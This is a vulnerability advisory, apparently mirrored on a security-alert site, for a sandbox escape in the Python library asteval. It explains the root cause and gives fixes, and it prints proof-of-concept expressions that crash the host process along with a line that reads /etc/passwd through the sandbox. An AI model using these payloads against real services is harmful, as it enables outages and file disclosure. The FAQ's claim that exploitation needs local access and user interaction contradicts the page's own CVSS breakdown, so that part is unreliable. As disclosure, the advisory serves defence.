GHSA-89v8-rhwq-hf77: Medium severity pip/asteval vulnerability

Published Aug 20, 2026
·
Updated

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.

---

Affected Code

asteval/astutils.py, lines 89–108 — FROMPY exposes dangerous classes to sandbox users:

python FROMPY = ('ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', # ← escapes except Exception: 'BufferError', 'BytesWarning', ... 'GeneratorExit', # ← escapes except Exception: ... 'KeyboardInterrupt', # ← escapes except Exception: ... 'SystemExit', # ← escapes except Exception: ...)

asteval/asteval.py, line 322 — run() exception handler:

python except Exception: # ← does NOT catch BaseException subclasses if withraise and self.expr is not None: self.raiseexception(node, expr=self.expr)

asteval/asteval.py, line 370 — eval() exception handler:

python except Exception: # ← same gap if showerrors and not raiseerrors: ...

asteval/asteval.py, line 264 — raiseexception() raises the class directly:

python raise exc(self.errormsg) # ← when exc=SystemExit, escapes both handlers above

---

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException ├── SystemExit ← NOT caught by except Exception: ├── KeyboardInterrupt ← NOT caught by except Exception: ├── GeneratorExit ← NOT caught by except Exception: └── Exception ← caught normally ├── RuntimeError ├── ValueError └── ...

FROMPY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the onraise() handler calls:

python self.raiseexception(None, exc=out.class, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.

---

Proof of Concept

python from asteval import Interpreter

Variant 1: terminate the process aeval = Interpreter() try: aeval.eval('raise SystemExit("terminated by sandbox user")') except SystemExit as e: print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")

Variant 2: disrupt signal/finally handling aeval = Interpreter() try: aeval.eval('raise KeyboardInterrupt("interrupt injected")') except KeyboardInterrupt as e: print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")

Variant 3: GeneratorExit aeval = Interpreter() try: aeval.eval('raise GeneratorExit("gen escape")') except GeneratorExit as e: print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")

Variant 4: BaseException base class aeval = Interpreter() try: aeval.eval('raise BaseException("base escape")') except BaseException as e: if not isinstance(e, Exception): print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user' [CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected' [CONFIRMED] GeneratorExit escaped: 'gen escape' [CONFIRMED] BaseException escaped: 'base escape'

Real-world server scenario

python from asteval import Interpreter

def handlerequest(userexpression): aeval = Interpreter() return aeval.eval(userexpression) # SystemExit propagates here

Attacker sends: raise SystemExit(1) Application terminates. Top-level except Exception: handlers do not protect it. try: handlerequest('raise SystemExit(1)') except Exception: pass # <-- does NOT catch SystemExit; process exits

---

Impact

| Variant | Impact | |---------|--------| | SystemExit | Process terminates; exit code and message attacker-controlled | | KeyboardInterrupt | Disrupts finally blocks, signal handlers, and KeyboardInterrupt-aware loops | | GeneratorExit | Disrupts generator cleanup in calling code | | BaseException | Generic escape, same propagation |

Any application that: - Accepts user-supplied expressions via asteval - Relies on except Exception: at the top level (standard practice) - Does not wrap aeval.eval() in except BaseException: (non-standard, unexpected requirement)

...is vulnerable to attacker-triggered process termination (DoS).

CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact — process termination (A:H).

---

Additional Note: File Read Capability (Acknowledged Limitation)

Independently of this vulnerability, asteval exposes a read-only open() wrapper (open in astutils.py) that allows reading arbitrary files with the permissions of the calling process:

python aeval.eval("open('/etc/passwd').read()") # returns /etc/passwd contents

This is documented in doc/motivation.rst as a known design choice ("If reading from disk must be forbidden, you will want to overwrite the open() function from the symbol table"). It is included here for completeness, not as a separate advisory claim.

---

Recommended Fix

Option A — Remove dangerous classes from FROMPY (minimal, preferred):

python asteval/astutils.py

FROMPY = ('ArithmeticError', 'AssertionError', 'AttributeError', # Remove: 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', # Remove: 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', # Remove: 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplementedError', 'OSError', 'OverflowError', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', # Remove: 'SystemExit', 'True', 'TypeError', ...)

Option B — Block non-Exception raises in onraise():

python asteval/asteval.py

def onraise(self, node): excnode = node.exc msgnode = node.cause out = self.run(excnode) # Prevent BaseException subclasses from escaping the sandbox if not issubclass(out.class, Exception): self.raiseexception(node, exc=RuntimeError, msg=f"raising {out.class.name!r} is not permitted") return msg = ' '.join(str(a) for a in out.args) msg2 = self.run(msgnode) if msg2 not in (None, 'None'): msg = f"{msg}: {msg2}" self.raiseexception(None, exc=out.class, msg=msg, expr='')

Note: Option B also fixes a secondary bug on the same line — ' '.join(out.args) crashes with TypeError when args contain non-strings (e.g., raise SystemExit(0) with integer code). The fix uses str(a) for a in out.args.

Option C — Catch BaseException in run() and eval() (broadest, requires care):

python except BaseException as exc: if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)): # Re-raise as RuntimeError to contain within sandbox self.raiseexception(node, exc=RuntimeError, msg=f"{type(exc).name} raised in sandbox") elif withraise and self.expr is not None: self.raiseexception(node, expr=self.expr)

Option A is the simplest and least likely to introduce regressions. Option B additionally addresses the str.join crash on integer args.

---

Disclosure Timeline

| Date | Event | |------|-------| | 2026-06-09 | Vulnerability discovered during code review | | 2026-06-09 | Report submitted via GitHub Security Advisory | | TBD | Maintainer acknowledgment | | TBD + 90 days | Public disclosure deadline |

---

Researcher

Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission.

---

References

- Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6) - Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6) - Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy - asteval documentation: https://lmfit.github.io/asteval/

Affected Software

1 affected componentFixes available
pip/asteval<1.0.9
1.0.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/asteval to a version that resolves this vulnerability.

    Fixed in 1.0.9
  2. Upgrade

    Upgrade asteval to a version that resolves this vulnerability.

    Fixed in 1.0.6Patch CVE-2025-24359
  3. Upgrade

    Upgrade asteval to a version that resolves this vulnerability.

    Fixed in 1.0.6Patch GHSA-vp47-9734-prjw
  4. Configuration

    Option A: remove the dangerous non-Exception classes from FROM_PY so they are not exposed to sandbox users (FROM_PY currently includes 'BaseException', 'GeneratorExit', 'KeyboardInterrupt', and 'SystemExit').

    asteval/astutils.py FROM_PY = remove 'BaseException', 'GeneratorExit', 'KeyboardInterrupt', 'SystemExit'
  5. Configuration

    Option B: in on_raise(), prevent sandbox raises that are not subclasses of Exception (explicitly block SystemExit, KeyboardInterrupt, GeneratorExit, and BaseException escapes; the material notes on_raise() currently calls raise SystemExit(msg) and then does not contain it).

    asteval/asteval.py on_raise() handler = block non-`Exception` raises
  6. Configuration

    The material notes `asteval` includes a read-only `open()` wrapper for file reads; overwrite the `open()` function from the symbol table (or otherwise block it) if file read is not intended/allowed.

    asteval/astutils.py open() wrapper in symbol table = overwrite/disable open()
  7. Compensating control

    If you allow user-supplied expressions, apply an external mitigation: prevent the calling application from reaching attacker-controlled `asteval.Interpreter.eval()` (e.g., only evaluate trusted expressions, or isolate the evaluation in a separate process/accounting so process termination/interrupt can’t terminate or disrupt the main service).

Event History

Aug 20, 2026
Advisory Published
via GitHub·05:28 PM
Data Sourced
via GitHub·05:28 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Applications are exposed when an attacker can supply expressions to asteval.Interpreter.eval(). The affected vector is present in all versions, including 1.0.6 and current HEAD.

2

What does an attacker need to trigger the issue?

The attacker needs the ability to provide an expression evaluated by asteval.Interpreter.eval(). The published vector also indicates local access, low privileges, and required user interaction.

3

What is the operational impact of successful exploitation?

An attacker can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException so that it bypasses handlers catching Exception. The exception can propagate to the calling application, terminating the process or disrupting signal and cleanup handlers.

4

What can be done while a fix is unavailable?

Do not evaluate attacker-supplied expressions with asteval.Interpreter.eval(). Restrict expression input to trusted sources until the exposed exception classes and exception handling are remediated.

5

How can I determine whether my application is at risk?

Review whether any untrusted or lower-privileged user can influence expressions passed to asteval.Interpreter.eval(). Version checking alone will not exclude this issue, because it is reported as present through 1.0.6 and current HEAD.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203